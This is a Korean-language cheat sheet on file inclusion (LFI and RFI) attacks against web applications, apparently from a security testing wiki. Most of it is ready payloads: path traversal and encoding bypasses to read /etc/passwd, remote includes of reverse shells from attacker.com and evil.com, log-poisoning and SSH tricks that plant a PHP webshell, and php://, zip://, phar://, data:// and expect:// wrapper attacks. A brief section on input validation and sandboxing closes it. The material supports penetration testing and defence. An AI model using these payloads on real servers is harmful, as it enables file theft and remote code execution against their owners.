File Inclusion
Introduction
File Inclusion은 동적으로 File을 읽거나 Include(소스코드 내 Built) 하는 기능이 있는 경우 이를 악용하여 시스템 파일을 읽어 탈취하거나 공격자가 만들어둔 소스코드를 Include 하도록 유도하는 공격입니다. 보통 LFI(Local File Inclusion)와 RFI(Remote File Inclusion)로 많이 알려져 있습니다.
LFI
LFI는 Local에 있는 파일을 읽는 공격입니다. 이를 통해 공격자가 시스템 파일을 탈취하거나 미리 업로드된 쉘 코드를 Include 시켜 의도한 코드를 실행하게 할 수 있습니다.
GET /filedownload?path=file:///etc/passwd
HTTP/1.1 200 OK
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
....
RFI
RFI는 Remote에 있는 파일을 읽는 공격입니다. 공격자가 자신의 서버에 쉘 코드를 미리 준비시켜 두고 취약 서버가 해당 파일을 소스코드로 Include 시켜 의도한 코드를 실행하게 할 수 있습니다.
Normal
GET /include_once?lib=/config/settings.php
Attack
GET /include_once?lib=https://attacker.com/reverse_shell.php
Offensive techniques
Detect
File을 읽을 수 있는 API 모두 테스팅의 대상이 됩니다. Path Traversal 과 아래 패턴들을 이용하여 파일 읽기를 시도해 볼 수 있습니다.
(LFI) /index.php?page=../../../etc/passwd
(RFI) /index.php?page=http://evil.com/shell.txt
Exploitation
Basic File leak (LFI)
GET /filedownload?path=file:///etc/passwd
Basic RCE (RFI)
GET /include_once?lib=https://attacker.com/reverse_shell.php
RCE via Log file
Attack
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
Log files
/index.php?page=/var/log/apache/access.log
/index.php?page=/var/log/apache/error.log
/index.php?page=/var/log/apache2/access.log
/index.php?page=/var/log/apache2/error.log
/index.php?page=/var/log/nginx/access.log
/index.php?page=/var/log/nginx/error.log
/index.php?page=/var/log/vsftpd.log
/index.php?page=/var/log/sshd.log
/index.php?page=/var/log/mail
/index.php?page=/var/log/httpd/error_log
/index.php?page=/usr/local/apache/log/error_log
/index.php?page=/usr/local/apache2/log/error_log
RCE via SSH
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
GET /index.php?page=/var/log/auth.log&cmd=id
Bypass protection
LFI
Double encoding
GET /index.php?page=%252e%252e%252fetc%252fpasswd
GET /index.php?page=%252e%252e%252fetc%252fpasswd%00
UTF-8 encoding
GET /index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
GET /index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
Path/Dot Truncation
GET /index.php?page=../../../etc/passwd............[ADD MORE]
GET /index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
GET /index.php?page=../../../etc/passwd/./././././.[ADD MORE]
GET /index.php?page=../../../[ADD MORE]../../../../etc/passwd
RFI
Null byte
GET /index.php?page=http://evil.com/shell.txt%00
Double encoding
GET /index.php?page=http:%252f%252fevil.com%252fshell.txt
Protocol Relative URL
GET /index.php?page=//evil.com/shell.txt
GET /index.php?page=\\evil.com/shell.txt
PHP URI
GET /index.php?page=php://filter/read=string.rot13/resource=index.php
GET /index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
GET /index.php?page=php://filter/convert.base64-encode/resource=index.php
GET /index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
GET /index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
ZIP URI
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
GET /index.php?page=zip://shell.jpg%23payload.php
Expect URI
GET /index.php?page=expect://id
GET /index.php?page=expect://ls
Data URI
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
# Payload => "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Phar URI (PHP)
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
GET /index.php?page=phar://attack.phar
Input URI
POST /index.php?page=php://input%00
<?php echo shell_exec('id'); ?>
Defensive techniques
Input Validation
사용자로 부터 값을 입력받아 파일을 처리하는 경우 의도된 파일 범위를 벗어나지 않도록 특수문자 등에 대해 검증해야합니다. 또한 여러 URI를 통해 접근을 시도할 수 있기 떄문에 허용된 URI만 사용할 수 있도록 제한해야합니다.
Sandbox
LFI의 경우 읽는 프로세스와 경로의 권한을 이용해서도 검증할 수 있습니다. 파일 읽기가 가능한 권한과 디렉토리를 나누어 상위 디렉토리를 읽지 못하도록 제한할 수 있습니다.
Tools
- ZAP ActiveRule - RFI
- ZAP ActiveRule - Path Traversal
- https://github.com/D35m0nd142/LFISuite
- https://github.com/wireghoul/dotdotpwn
References
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
- https://www.hahwul.com/2018/03/25/protocol-relative-url-htmljavascriptcss/
- https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion